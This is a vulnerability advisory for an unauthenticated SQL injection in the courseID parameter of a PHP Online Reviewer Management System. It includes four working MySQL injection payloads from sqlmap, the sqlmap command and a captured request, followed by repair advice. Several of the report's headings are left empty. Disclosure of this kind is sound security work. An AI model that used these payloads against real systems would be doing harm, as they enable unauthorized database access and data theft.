Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: action=remove&courseID=7' RLIKE (SELECT (CASE WHEN (9195=9195) THEN 7 ELSE 0x28 END))-- xgST
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: action=remove&courseID=7' AND GTID_SUBSET(CONCAT(0x717a6b7071,(SELECT (ELT(9220=9220,1))),0x71707a7171),9220)-- gixc
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: action=remove&courseID=7';SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: action=remove&courseID=7' AND (SELECT 6945 FROM (SELECT(SLEEP(5)))PfJG)-- wqZx
---
sqlmap.py -r 1.txt --dbs
1.txt
GET /reviewer_0/admins/assessments/course/btn_functions.php?action=remove&courseID=7 HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Chromium";v="137", "Not/A)Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/reviewer_0/admins/assessments/course/index.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=gc0j198of4980l7p4olumqev0k
Connection: keep-alive
sourcecodester Online Reviewer Management System using PHP with Source Code V1.0 /reviewer_0/admins/assessments/course/btn_functions.php?action=remove&courseID=7 SQL injection
NAME OF AFFECTED PRODUCT(S)
Vendor Homepage
AFFECTED AND/OR FIXED VERSION(S)
submitter
Vulnerable File
VERSION(S)
Software Link
PROBLEM TYPE
Vulnerability Type
Root Cause
Impact
DESCRIPTION
No login or authorization is required to exploit this vulnerability
Vulnerability details and POC
Vulnerability location:
Payload:
The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:
Suggested repair
Use prepared statements and parameter binding:
Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.
Input validation and filtering:
Strictly validate and filter user input data to ensure it conforms to the expected format.
Minimize database user permissions:
Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.
Regular security audits:
Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.